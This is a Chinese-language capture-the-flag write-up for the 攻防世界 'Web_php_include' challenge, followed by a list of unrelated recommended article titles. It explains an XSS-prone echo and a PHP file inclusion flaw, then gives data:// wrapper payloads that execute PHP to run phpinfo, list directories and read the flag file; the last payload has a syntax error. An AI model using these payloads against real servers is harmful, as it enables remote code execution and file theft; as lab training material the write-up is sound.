32.攻防世界Web_php_include

进入场景

echo $_GET['hello'] 直接将用户通过 GET 方法提交的 hello 参数值输出到页面上,这可能会导致 XSS(跨站脚本攻击)漏洞。

在下面的代码中,虽然对 page 中的 php:// 进行了替换处理,但是仍然存在文件包含漏洞的风险。如果我们能够通过 _GET['page'] 传入一个恶意的文件路径,就可能导致服务器上的任意文件被包含和执行

"file://"是一种用于指定本地文件系统中文件的URI(统一资源标识符)协议。通过"file://"协议,可以在浏览器或其他支持该协议的应用程序中访问本地文件

"data://"协议是 PHP 中的一种数据流协议,它允许将数据作为文件来读取。该协议的语法如下:data:(<mediatype>)(;base64),<data>,其中,<mediatype>是可选的媒体类型,<data>是数据内容。

测试

/?page=data://text/plain,<?php phpinfo()?>

目录路径

/?page=data://text/plain,<?php echo $_SERVER['DOCUMENT_ROOT']; ?>

目录文件

/?page=data://text/plain,<?php print_r(scandir('/var/www')); ?>

读取文件内容

/?page=data://text/plain,<?php a=file_get_contents('fl4gisisish3r3.php'); echo htmlspecialchars(a); ?>

相关推荐
无心水8 小时前
【Hermes:安全、权限与生产环境】39、智能体也会犯错?Hermes 纠错、回滚与遗忘机制全指南 —— 让 AI 的错误像 Git 一样可逆可控
人工智能·git·安全·mcp协议·openclaw·hermes·honcho
南境十里·墨染春水9 小时前
linux学习进展 守护进程
linux·服务器·学习
Ares-Wang9 小时前
AI》》 监督学习,无监督学习,半监督学习、强化学习 、深度学习 统计学的常用方法
人工智能·深度学习·学习
Bechamz9 小时前
大数据开发学习Day31
大数据·学习·ajax
我胖虎不答应!!9 小时前
Three.js开发思想笔记
javascript·笔记·three.js
程序leo源9 小时前
C语言知识总结
c语言·开发语言·c++·经验分享·笔记·青少年编程·c#
羊群智妍10 小时前
2026年GEO优化实战:AI搜索优化监测工具全解析
笔记
朗迪锋10 小时前
数字孪生技术:航空航天领域的安全与效率革命
安全
-SOLO-10 小时前
Python 爬取小红书 文章标题和内容 仅供学习
android·python·学习
科技林总10 小时前
【系统分析师】14.6 测试策略与过程
学习